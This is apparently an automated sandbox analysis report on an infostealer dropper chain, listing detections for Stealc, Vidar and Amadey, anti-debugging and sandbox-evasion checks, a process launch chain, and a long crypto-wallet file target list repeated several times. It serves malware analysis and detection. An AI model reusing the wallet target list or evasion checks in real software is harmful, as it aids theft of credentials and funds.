Source: Web Data.15.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: Web Data.15.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: Web Data.15.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: Web Data.15.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: Web Data.15.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: Web Data.15.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: Web Data.15.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: file.exe, 00000000.00000002.1808225152.000000000119E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.15.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: Web Data.15.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: Web Data.15.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: Web Data.15.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000000.00000002.1806550523.00000000007C6000.00000040.00000001.01000000.00000003.sdmp, DocumentsDHJECFCGHI.exe, 0000001A.00000002.1848961394.00000000004B2000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000001B.00000002.1891591951.0000000000412000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001C.00000002.1890716280.0000000000412000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000020.00000002.2514022148.0000000000412000.00000040.00000001.01000000.0000000E.sdmp, 222aa393f7.exe, 00000023.00000002.2520760556.00000000012F6000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.15.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: Web Data.15.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: Web Data.15.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: file.exe, 00000000.00000002.1808225152.0000000001214000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}3
Source: Web Data.15.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsDHJECFCGHI.exe

Code function: 26_2_05360039 rdtsc

26_2_05360039

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF4AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CF4AC62

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_0025652B mov eax, dword ptr fs:[00000030h]		32_2_0025652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_0025A302 mov eax, dword ptr fs:[00000030h]		32_2_0025A302

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF4AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CF4AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 1780, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDHJECFCGHI.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsDHJECFCGHI.exe "C:\Users\user\DocumentsDHJECFCGHI.exe"
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe "C:\Users\user~1\AppData\Local\Temp\1009855001\222aa393f7.exe"

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF94760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6CF94760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE71C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6CE71C30

Source: file.exe, file.exe, 00000000.00000002.1806550523.00000000007C6000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: _Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF4AE71 cpuid

0_2_6CF4AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF4A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6CF4A8DC

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 32_2_002265E0 LookupAccountNameA,

32_2_002265E0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE98390 NSS_GetVersion,

0_2_6CE98390

Source: 222aa393f7.exe, 00000023.00000003.2504075791.000000000723F000.00000004.00001000.00020000.00000000.sdmp, 222aa393f7.exe, 00000023.00000002.2516723133.0000000001000000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: procmon.exe
Source: 222aa393f7.exe, 00000023.00000003.2504075791.000000000723F000.00000004.00001000.00020000.00000000.sdmp, 222aa393f7.exe, 00000023.00000002.2516723133.0000000001000000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: wireshark.exe

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 27.2.skotes.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.skotes.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.skotes.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.DocumentsDHJECFCGHI.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.1846706327.00000000002C1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1849859542.0000000004A20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.2284664697.0000000004A00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.1851240394.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.1891456591.0000000000221000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2506123413.0000000000221000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.1804427465.0000000005150000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.1890636916.0000000000221000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1808225152.000000000119E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1287052462.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1806196149.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1780, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 1780, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1806196149.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1806196149.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1806196149.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1806196149.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1806196149.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1806196149.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1806196149.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
